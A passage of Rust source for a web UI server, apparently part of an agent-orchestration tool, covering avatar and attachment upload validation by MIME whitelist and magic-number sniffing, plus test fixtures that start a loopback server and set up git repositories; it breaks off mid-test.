10895async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10896    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10897}
10898
10899#[derive(Deserialize)]
10900struct MagiIconUpload {
10901    icon: String,
10902}
10903
10904fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10905    save_icon_file(&magi_icon_path(home), icon)
10906}
10907
10908fn validate_uploaded_icon(icon: &str) -> Result<()> {
10909    if !icon.starts_with("data:") {
10910        anyhow::bail!("upload a raster image");
10911    }
10912    let (mime, bytes) = persona_icon::load(icon)?;
10913    if sniffed_mime(&bytes) != Some(mime) {
10914        anyhow::bail!("image content does not match its type");
10915    }
10916    Ok(())
10917}
10918
10919fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10920    validate_uploaded_icon(icon)?;
10921    atomic_icon_write(path, icon)
10922}
10923
10924fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10925    let home = path.parent().expect("icon parent");
10926    std::fs::create_dir_all(home)?;
10927    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10928    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10929    let result = (|| -> Result<()> {
10930        use std::io::Write;
10931        let mut file = std::fs::OpenOptions::new()
10932            .write(true)
10933            .create_new(true)
10934            .open(&temp)?;
10935        file.write_all(icon.as_bytes())?;
10936        file.sync_all()?;
10937        std::fs::rename(&temp, path)?;
10938        Ok(())
10939    })();
10940    let _ = std::fs::remove_file(temp);
10941    result?;
10942    Ok(())
10943}
10944
10945async fn magi_icon_put(
10946    State(ui): State<Arc<Ui>>,
10947    Json(upload): Json<MagiIconUpload>,
10948) -> ApiResult<Json<serde_json::Value>> {
10949    blocking(move || {
10950        if !upload.icon.starts_with("data:") {
10951            return Err(ApiError::bad_request("upload a raster image"));
10952        }
10953        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10954        if sniffed_mime(&bytes) != Some(mime) {
10955            return Err(ApiError::bad_request(
10956                "image content does not match its type",
10957            ));
10958        }
10959        save_magi_icon(&ui.home, &upload.icon)?;
10960        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10961    })
10962    .await
10963}
10964
10965async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10966    blocking(move || {
10967        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10968            Ok(()) => (),
10969            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10970            Err(e) => return Err(anyhow::Error::from(e).into()),
10971        }
10972        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10973    })
10974    .await
10975}
10976
10977async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10978    let icon = (q.builtin.is_none())
10979        .then(|| read_magi_icon(&ui.home))
10980        .flatten();
10981    let mut response = match icon
10982        .as_deref()
10983        .and_then(|icon| persona_icon::load(icon).ok())
10984    {
10985        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10986            attachment_response(mime, bytes)
10987        }
10988        _ => svg_avatar(persona_icon::magi_svg()),
10989    };
10990    response
10991        .headers_mut()
10992        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10993    response
10994}
10995
10996/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10997/// operator's raster `icon` when it resolves and its bytes agree with its
10998/// type, the built-in SVG otherwise. Display only; every failure is a warning
10999/// and the built-in avatar, never an error response.
11000async fn talk_avatar(
11001    State(ui): State<Arc<Ui>>,
11002    Path(id): Path<String>,
11003    Query(q): Query<AvatarQuery>,
11004) -> ApiResult<Response> {
11005    blocking(move || {
11006        let id = resolve_talk(&ui.talks, &id)?;
11007        let talk = ui.talks.get(&id)?;
11008        let wanted = q
11009            .persona
11010            .as_deref()
11011            .map(str::trim)
11012            .filter(|p| !p.is_empty())
11013            .unwrap_or(&talk.persona)
11014            .to_owned();
11015        let specs = match Config::discover(&talk.repo, None) {
11016            Ok((cfg, _)) => cfg.talk.personas,
11017            Err(e) => {
11018                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11019                Vec::new()
11020            }
11021        };
11022        let found = persona::find(&specs, &wanted);
11023        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
11024        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11025        let icon = effective_persona_icon(
11026            &ui.home,
11027            &wanted,
11028            found.as_ref().and_then(|p| p.icon.as_deref()),
11029        );
11030        if found.is_none() && icon.is_none() {
11031            return Ok(builtin_avatar(persona::DEFAULT_ID));
11032        }
11033        let Some(icon) = icon
11034            .as_deref()
11035            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11036        else {
11037            return Ok(builtin_avatar(&wanted));
11038        };
11039        let Some(found) = found else {
11040            return Ok(raster_or_builtin(
11041                Some(icon),
11042                persona_icon::builtin_svg(&wanted),
11043            ));
11044        };
11045        match persona_icon::load(icon) {
11046            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11047                let mut res = attachment_response(mime, bytes);
11048                res.headers_mut().insert(
11049                    header::CACHE_CONTROL,
11050                    header::HeaderValue::from_static("no-cache"),
11051                );
11052                Ok(res)
11053            }
11054            Ok((mime, _)) => {
11055                tracing::warn!(
11056                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11057                    found.id
11058                );
11059                Ok(builtin_avatar(&found.id))
11060            }
11061            Err(e) => {
11062                tracing::warn!(
11063                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11064                    found.id
11065                );
11066                Ok(builtin_avatar(&found.id))
11067            }
11068        }
11069    })
11070    .await
11071}
11072
11073/// Validate an attachment upload's declared `Content-Type` and the bytes
11074/// themselves, returning the canonical mime on success.
11075///
11076/// Two checks, both required: the header has to name one of
11077/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11078/// simply never in the list, active content rather than a picture, the same
11079/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11080/// magic number has to agree. The second is what stops a mislabeled upload -
11081/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11082/// a declared type is a claim, not a fact, so it is never trusted alone.
11083fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11084    if data.len() > ATTACHMENT_MAX_BYTES {
11085        return Err(ApiError::bad_request(format!(
11086            "attachment is {} bytes, over the {} MiB limit",
11087            data.len(),
11088            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11089        ))
11090        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11091    }
11092    if data.is_empty() {
11093        return Err(ApiError::bad_request("attachment is empty"));
11094    }
11095    let declared = declared_mime(headers)?;
11096    match sniffed_mime(data) {
11097        Some(sniffed) if sniffed == declared => Ok(declared),
11098        Some(sniffed) => Err(ApiError::bad_request(format!(
11099            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11100        ))),
11101        None => Err(ApiError::bad_request(
11102            "the file's bytes do not match any accepted image format",
11103        )),
11104    }
11105}
11106
11107/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11108/// and nothing else - parameters like `; charset=` are stripped, but the
11109/// value itself is not otherwise interpreted.
11110fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11111    let raw = headers
11112        .get(header::CONTENT_TYPE)
11113        .and_then(|v| v.to_str().ok())
11114        .unwrap_or("")
11115        .split(';')
11116        .next()
11117        .unwrap_or("")
11118        .trim()
11119        .to_ascii_lowercase();
11120    ATTACHMENT_MIME_WHITELIST
11121        .iter()
11122        .find(|&&m| m == raw)
11123        .copied()
11124        .ok_or_else(|| {
11125            if raw == "image/svg+xml" {
11126                ApiError::bad_request(
11127                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11128                     not just a picture",
11129                )
11130            } else if raw.is_empty() {
11131                ApiError::bad_request("Content-Type is required for an attachment upload")
11132            } else {
11133                ApiError::bad_request(format!(
11134                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11135                     image/gif or image/webp"
11136                ))
11137            }
11138        })
11139}
11140
11141/// Identify an image by its magic number, independent of whatever
11142/// `Content-Type` claimed.
11143fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11144    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11145        Some("image/png")
11146    } else if data.starts_with(b"\xff\xd8\xff") {
11147        Some("image/jpeg")
11148    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11149        Some("image/gif")
11150    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11151        Some("image/webp")
11152    } else {
11153        None
11154    }
11155}
11156
11157/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11158/// display - see [`talk::Attachment::name`]'s doc on why it never
11159/// contributes to a path. A missing or blank header (curl without it, an
11160/// older front end) falls back to a generic name rather than refusing the
11161/// upload over a field that is cosmetic.
11162fn filename_header(headers: &HeaderMap) -> String {
11163    headers
11164        .get(FILENAME_HEADER)
11165        .and_then(|v| v.to_str().ok())
11166        .map(str::trim)
11167        .filter(|s| !s.is_empty())
11168        .unwrap_or("attachment")
11169        .to_owned()
11170}
11171
11172/// Every attachment `GET` response: the mime re-validated against the same
11173/// closed whitelist the upload route enforces - never the string trusted
11174/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11175/// cannot decide it knows better than the type we send. Unlike a panel asset
11176/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11177/// document renders inline, not agent-authored HTML in a sandboxed frame.
11178fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11179    let content_type = ATTACHMENT_MIME_WHITELIST
11180        .iter()
11181        .find(|&&m| m == mime)
11182        .copied()
11183        .unwrap_or("application/octet-stream");
11184    (
11185        [
11186            (header::CONTENT_TYPE, content_type),
11187            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11188        ],
11189        body,
11190    )
11191        .into_response()
11192}
11193
11194/// The configuration for a repository, read off the disk for this request.
11195///
11196/// Through [`blocking`] because discovery reads and merges several TOML files,
11197/// and because the alternative - caching it in [`Ui`] at startup - would mean
11198/// the operator's phone kept interviewing with a roster they had already
11199/// changed, with no way to reload it but restarting the server they are not
11200/// sitting in front of.
11201async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11202    let repo = repo.to_path_buf();
11203    blocking(move || {
11204        let (cfg, _) = Config::discover(&repo, None)?;
11205        Ok(cfg)
11206    })
11207    .await
11208}
11209
11210/// The one prefix rule, used for both runs and tasks: a leading match for a
11211/// full id, a trailing match for the short form an operator reads off a
11212/// report. Written here rather than borrowed from `queue::resolve_id` because
11213/// the UI needs the two failures as different status codes, and telling them
11214/// apart from an error message is not something to build a route on.
11215fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11216    let mut hits = ids
11217        .into_iter()
11218        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11219    match (hits.next(), hits.next()) {
11220        (Some(one), None) => Ok(one),
11221        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11222        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11223            "`{prefix}` matches more than one {what}, including {a} and {b}"
11224        ))),
11225    }
11226}
11227
11228#[cfg(test)]
11229mod tests {
11230
11231    #[test]
11232    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11233        let dir = tempfile::tempdir().unwrap();
11234        let store = ask::Questions::at(dir.path().join("questions"));
11235        let mut q = Question::new(
11236            "task".to_owned(),
11237            "conduct".to_owned(),
11238            "conduct".to_owned(),
11239            "choose".to_owned(),
11240            String::new(),
11241            vec!["keep".to_owned()],
11242        );
11243        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11244        q.say("why?").unwrap();
11245        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11246        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11247        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11248        store.put(&mut q).unwrap();
11249        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11250        assert_eq!(store.count_needs_owner(), 1);
11251        store.beat(&q.id, ask::WaiterKind::Deputy);
11252        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11253        assert_eq!(store.count_needs_owner(), 0);
11254        let mut stale = store.read_lease(&q.id).unwrap();
11255        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11256        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11257        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11258        assert!(view.deputy_exhausted);
11259        assert!(view.waiting_on_agent);
11260        assert_eq!(view.question.choices, ["keep"]);
11261        store.drop_lease(&q.id);
11262        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11263        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11264    }
11265
11266    #[test]
11267    fn holder_reads_the_lease_not_the_record() {
11268        let mut q = Question::new(
11269            "run".to_owned(),
11270            "implement".to_owned(),
11271            "impl-A".to_owned(),
11272            "which?".to_owned(),
11273            String::new(),
11274            Vec::new(),
11275        );
11276        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11277        q.cwd = Some("/tmp".to_owned());
11278        assert_eq!(holder_of(&q, None), Some("nobody"));
11279        let beat = |kind, ago: i64| ask::Lease {
11280            kind,
11281            pid: 1,
11282            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11283                .unwrap(),
11284        };
11285        let fresh = beat(ask::WaiterKind::Asker, 1);
11286        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11287        let daemon = beat(ask::WaiterKind::Daemon, 1);
11288        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11289        let stale = beat(ask::WaiterKind::Asker, 3600);
11290        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11291
11292        // A conductor question says "deputy" only while one is attached and
11293        // alive, and "nobody" - never silence - when nothing ever listened.
11294        let mut c = Question::new(
11295            "task".to_owned(),
11296            crate::conduct::NODE.to_owned(),
11297            "conduct".to_owned(),
11298            "which?".to_owned(),
11299            String::new(),
11300            Vec::new(),
11301        );
11302        assert_eq!(holder_of(&c, None), Some("nobody"));
11303        c.cwd = Some("/tmp".to_owned());
11304        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11305        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11306        let deputy = beat(ask::WaiterKind::Deputy, 1);
11307        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11308        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11309
11310        // A release-watch question: nobody until a deputy is attached.
11311        let mut r = Question::new(
11312            String::new(),
11313            crate::bump::NOTICE_NODE.to_owned(),
11314            "release-watch".to_owned(),
11315            "stuck?".to_owned(),
11316            String::new(),
11317            vec!["hold".to_owned()],
11318        );
11319        assert_eq!(holder_of(&r, None), Some("nobody"));
11320        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11321        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11322        // A choice-less bump notice is nobody's question at all.
11323        r.deputy = None;
11324        r.seat = "bump".to_owned();
11325        assert_eq!(holder_of(&r, None), None);
11326
11327        // A merge approval is the same: nobody until a deputy is attached
11328        // and alive, never a silent "no holder".
11329        let mut m = Question::new(
11330            "run".to_owned(),
11331            crate::land::APPROVAL_NODE.to_owned(),
11332            "land".to_owned(),
11333            "merge?".to_owned(),
11334            String::new(),
11335            Vec::new(),
11336        );
11337        assert_eq!(holder_of(&m, None), Some("nobody"));
11338        assert_eq!(
11339            holder_of(&m, Some(&fresh)),
11340            Some("asker"),
11341            "a live explicit wait is a listener even before a deputy is attached"
11342        );
11343        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11344        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11345        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11346        assert_eq!(holder_of(&m, None), Some("nobody"));
11347    }
11348
11349    fn stub_config() -> Config {
11350        // An explicit roster, so the result never depends on which agent CLIs
11351        // this machine has installed.
11352        Config {
11353            agents: vec![crate::config::AgentSpec {
11354                id: "stub".to_owned(),
11355                kind: AgentKind::Command,
11356                model: None,
11357                command: vec!["true".to_owned()],
11358                extra_args: Vec::new(),
11359                env: Default::default(),
11360                prompt_delivery: None,
11361                max_turn_secs: None,
11362            }],
11363            ..Config::default()
11364        }
11365    }
11366
11367    fn plain_question(seat: &str) -> Question {
11368        Question::new(
11369            String::new(),
11370            "n".to_owned(),
11371            seat.to_owned(),
11372            "s".to_owned(),
11373            String::new(),
11374            Vec::new(),
11375        )
11376    }
11377
11378    #[test]
11379    fn deputies_enabled_follows_the_config() {
11380        let on = stub_config();
11381        assert!(crate::deputy::can_start(Some(&on), ""));
11382        assert!(crate::deputy::can_start(Some(&on), "stub"));
11383        let mut off = on.clone();
11384        off.daemon.max_deputies = 0;
11385        assert!(!crate::deputy::can_start(Some(&off), ""));
11386        let mut empty = on;
11387        empty.agents.clear();
11388        assert!(!crate::deputy::can_start(Some(&empty), ""));
11389        assert!(!crate::deputy::can_start(None, ""));
11390    }
11391
11392    #[test]
11393    fn question_views_load_the_config_once() {
11394        let dir = TempDir::new().unwrap();
11395        let store = ask::Questions::at(dir.path().to_path_buf());
11396        let mut with_deputy = plain_question("b");
11397        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11398        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11399
11400        let calls = std::cell::Cell::new(0usize);
11401        let views = question_views(qs.clone(), &store, || {
11402            calls.set(calls.get() + 1);
11403            Some(stub_config())
11404        });
11405        assert_eq!(calls.get(), 1);
11406        assert_eq!(views.len(), 3);
11407        for (v, q) in views.iter().zip(&qs) {
11408            assert_eq!(
11409                v.deputies_enabled,
11410                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11411            );
11412        }
11413
11414        let views = question_views(qs, &store, || None);
11415        assert!(views.iter().all(|v| !v.deputies_enabled));
11416
11417        let calls = std::cell::Cell::new(0usize);
11418        let views = question_views(Vec::new(), &store, || {
11419            calls.set(calls.get() + 1);
11420            None
11421        });
11422        assert!(views.is_empty());
11423        assert_eq!(calls.get(), 0);
11424    }
11425
11426    use pretty_assertions::assert_eq;
11427    use serde_json::Value;
11428    use tempfile::TempDir;
11429    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11430
11431    use super::*;
11432    use crate::config::Config;
11433    use crate::queue::Source;
11434
11435    /// How many 10ms steps a settle loop takes before it calls a stall a
11436    /// stall - thirty seconds.
11437    ///
11438    /// These loops wait on real `sh` subprocesses, and the machine that runs
11439    /// the gate runs several suites at once, so a two-second budget was not
11440    /// waiting for the reply, it was racing the scheduler: two of these
11441    /// tests failed under that load with the turn simply not landed yet.
11442    /// This is a hang guard, not a latency assertion - every loop breaks the
11443    /// moment its condition holds, so a generous cap costs an idle machine
11444    /// nothing and still fails a genuine hang instead of hanging the suite.
11445    const SETTLE_STEPS: usize = 3_000;
11446
11447    /// A home with a queue and a runs directory, and a router serving it on
11448    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11449    /// dependency, not ours - so the tests drive a real socket, which has the
11450    /// side benefit of asserting the status line and content types the phone
11451    /// actually receives.
11452    struct Fixture {
11453        home: TempDir,
11454        addr: SocketAddr,
11455    }
11456
11457    impl Fixture {
11458        async fn start() -> Self {
11459            Self::with_loop(launch_idle).await
11460        }
11461
11462        /// A fixture whose loop is `launch`.
11463        async fn with_loop(launch: Launch) -> Self {
11464            let home = TempDir::new().expect("temp home");
11465            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11466            Self { home, addr }
11467        }
11468
11469        /// A fixture whose `ui.repo` is a real directory rather than the
11470        /// usual placeholder - for the routes that read config off it
11471        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11472        async fn with_repo(repo: PathBuf) -> Self {
11473            let home = TempDir::new().expect("temp home");
11474            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11475            Self { home, addr }
11476        }
11477
11478        /// As [`Fixture::with_repo`], with the machine-config file the
11479        /// settings screen reads and writes.
11480        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11481            let home = TempDir::new().expect("temp home");
11482            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11483            Self { home, addr }
11484        }
11485
11486        async fn serve(
11487            home: &FsPath,
11488            repo: PathBuf,
11489            launch: Launch,
11490            machine: Option<PathBuf>,
11491        ) -> SocketAddr {
11492            let queue = Queue::at(home.join("queue"));
11493            let runs = home.join("runs");
11494            std::fs::create_dir_all(&runs).expect("runs dir");
11495            let worktrees = home.join("wt").join("magi");
11496            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11497            let ui = Ui::new(
11498                queue,
11499                Questions::at(home.join("questions")),
11500                Talks::at(home.join("talks")),
11501                runs,
11502                home.to_path_buf(),
11503                repo,
11504            )
11505            .with_worktrees_root(worktrees)
11506            .with_machine_config(machine)
11507            .with_launch(launch);
11508            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11509                .await
11510                .expect("bind loopback");
11511            let addr = listener.local_addr().expect("local addr");
11512            tokio::spawn(async move {
11513                let router = ui
11514                    .router()
11515                    .layer(axum::middleware::from_fn(request_cost::observe));
11516                let _ = axum::serve(listener, router).await;
11517            });
11518            addr
11519        }
11520
11521        fn queue(&self) -> Queue {
11522            Queue::at(self.home.path().join("queue"))
11523        }
11524
11525        fn questions(&self) -> Questions {
11526            Questions::at(self.home.path().join("questions"))
11527        }
11528
11529        fn talks(&self) -> Talks {
11530            Talks::at(self.home.path().join("talks"))
11531        }
11532
11533        fn runs(&self) -> PathBuf {
11534            self.home.path().join("runs")
11535        }
11536
11537        async fn get(&self, path: &str) -> Res {
11538            request(self.addr, "GET", path, None).await
11539        }
11540
11541        /// The status and headers without the body, which is how the front end
11542        /// preflights a panel: a sandboxed frame is opaque to the parent
11543        /// document, so the only way to tell "no panel" from "a panel that
11544        /// rendered blank" is to ask before mounting.
11545        async fn head(&self, path: &str) -> Res {
11546            request(self.addr, "HEAD", path, None).await
11547        }
11548
11549        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11550            request(self.addr, "POST", path, body).await
11551        }
11552
11553        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11554            request_with(self.addr, "GET", path, None, extra).await
11555        }
11556
11557        async fn delete(&self, path: &str) -> Res {
11558            request(self.addr, "DELETE", path, None).await
11559        }
11560
11561        async fn put(&self, path: &str, body: &str) -> Res {
11562            request(self.addr, "PUT", path, Some(body)).await
11563        }
11564
11565        /// `POST` a raw body with its own headers - see [`request_bytes`].
11566        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11567            request_bytes(self.addr, path, headers, body).await
11568        }
11569    }
11570
11571    /// Real tracking refs exercise the successful discovery path (including
11572    /// extraction), rather than counting cheap failures on a placeholder repo.
11573    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11574        let tmp = TempDir::new().unwrap();
11575        let mut repos = Vec::new();
11576        for name in ["one", "two"] {
11577            let repo = tmp.path().join(name);
11578            let origin = tmp.path().join(format!("{name}.git"));
11579            std::fs::create_dir_all(&repo).unwrap();
11580            crate::git::git(&repo, &["init", "-b", "main"])
11581                .await
11582                .unwrap();
11583            std::fs::write(
11584                repo.join("magi.toml"),
11585                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11586            )
11587            .unwrap();
11588            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11589            crate::git::git(
11590                &repo,
11591                &[
11592                    "-c",
11593                    "user.name=fixture",
11594                    "-c",
11595                    "user.email=fixture@example.invalid",
11596                    "commit",
11597                    "-m",
11598                    "fixture",
11599                ],
11600            )
11601            .await
11602            .unwrap();
11603            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11604                .await
11605                .unwrap();
11606            crate::git::git(
11607                &repo,
11608                &["remote", "add", "origin", origin.to_str().unwrap()],
11609            )
11610            .await
11611            .unwrap();
11612            crate::git::git(&repo, &["push", "origin", "main"])
11613                .await
11614                .unwrap();
11615            crate::git::git(
11616                &repo,
11617                &[
11618                    "symbolic-ref",
11619                    "refs/remotes/origin/HEAD",
11620                    "refs/remotes/origin/main",
11621                ],
11622            )
11623            .await
11624            .unwrap();
11625            let (cfg, _) = Config::discover(&repo, None).unwrap();
11626            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11627            repos.push(repo);
11628        }
11629        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11630        (tmp, repos)
11631    }
11632
11633    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11634        let (tmp, repos) = performance_repositories().await;
11635        let machine = tmp.path().join("machine.toml");
11636        std::fs::write(&machine, "").unwrap();
11637        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11638        (tmp, repos, fx)
11639    }
11640
11641    fn seed_performance(
11642        fx: &Fixture,
11643        repos: &[PathBuf; 2],
11644        questions: usize,
11645        runs: usize,
11646        items: usize,
11647    ) {
11648        // Saving states directly never starts a run or changes MAGI_HOME.
11649        for i in fx.questions().list().len()..questions {
11650            let mut question = Question::new(
11651                "20261001-000000-0000".into(),
11652                "implement".into(),
11653                "impl-A".into(),
11654                format!("question {i}"),
11655                "context".into(),
11656                vec!["yes".into(), "no".into()],
11657            );
11658            question.id = format!("20261003-000000-{i:04x}");
11659            fx.questions().put(&mut question).unwrap();
11660        }
11661        for i in run_ids(&fx.runs()).len()..runs {
11662            write_run_repo(
11663                &fx.runs(),
11664                &format!("20261001-000000-{i:04x}"),
11665                RunStatus::Ready,
11666                repos[i % 2].to_str().unwrap(),
11667            );
11668        }
11669        for i in fx.talks().list().len()..items {
11670            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11671            let mut talk = fx.talks().get(&id).unwrap();
11672            talk.repo = repos[i % 2].clone();
11673            fx.talks().put(&mut talk).unwrap();
11674            let mut task = crate::queue::Task::new(
11675                format!("task {i}"),
11676                "instruction".into(),
11677                repos[i % 2].clone(),
11678                crate::queue::Source::Agent {
11679                    run: id,
11680                    node: crate::queue::CHAT_NODE.into(),
11681                },
11682            );
11683            task.id = format!("20261004-000000-{i:04x}");
11684            fx.queue().put(&mut task).unwrap();
11685            // Notices has a production retention cap; seed up to that cap.
11686            if i < crate::notices::CAP {
11687                Notices::at(fx.home.path().join("notifications"))
11688                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11689                    .unwrap();
11690            }
11691        }
11692        assert_eq!(fx.questions().list().len(), questions);
11693        assert_eq!(run_ids(&fx.runs()).len(), runs);
11694        assert_eq!(fx.talks().list().len(), items);
11695        assert_eq!(fx.queue().list().len(), items);
11696        assert_eq!(
11697            Notices::at(fx.home.path().join("notifications"))
11698                .list()
11699                .len(),
11700            items.min(crate::notices::CAP)
11701        );
11702    }
11703
11704    #[tokio::test]
11705    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11706        let home = TempDir::new().unwrap();
11707        let root = home.path().canonicalize().unwrap();
11708        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11709        let fx = Fixture { home, addr };
11710        let repo = root.as_path().join("archive-repo");
11711        std::fs::create_dir(&repo).unwrap();
11712        crate::git::git(&repo, &["init", "-b", "main"])
11713            .await
11714            .unwrap();
11715        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11716            .await
11717            .unwrap();
11718        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11719            .await
11720            .unwrap();
11721        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11722            .await
11723            .unwrap();
11724        std::fs::write(repo.join("source"), "base").unwrap();
11725        crate::git::git(&repo, &["add", "."]).await.unwrap();
11726        crate::git::git(&repo, &["commit", "-m", "base"])
11727            .await
11728            .unwrap();
11729        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11730        std::fs::write(repo.join("source"), "archived review").unwrap();
11731        crate::git::git(&repo, &["commit", "-am", "review"])
11732            .await
11733            .unwrap();
11734        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11735        let mut config = Config::default();
11736        config.graph.worktree_root = Some(root.as_path().join("copies"));
11737        let mut state = RunState::new(
11738            repo.clone(),
11739            "main".into(),
11740            base.clone(),
11741            "archive".into(),
11742            config,
11743        );
11744        state.id = "20260101-000000-ef05".into();
11745        state.status = RunStatus::Ready;
11746        state.save_under(root.as_path()).unwrap();
11747        let evidence =
11748            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11749                .await
11750                .unwrap();
11751        let base_evidence =
11752            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11753                .await
11754                .unwrap();
11755        let source = state.worktree_root().join("review-1");
11756        let mut contents = std::collections::BTreeMap::new();
11757        contents.insert(
11758            repo.join("logs/HEAD"),
11759            format!("{base} {head} fixture\n").into_bytes(),
11760        );
11761        let record = serde_json::json!({
11762            "version":1, "run":state.id, "source":source, "head":head,
11763            "evidence":evidence, "admin":{}, "admin_contents":contents,
11764            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11765        });
11766        std::fs::write(
11767            fx.runs()
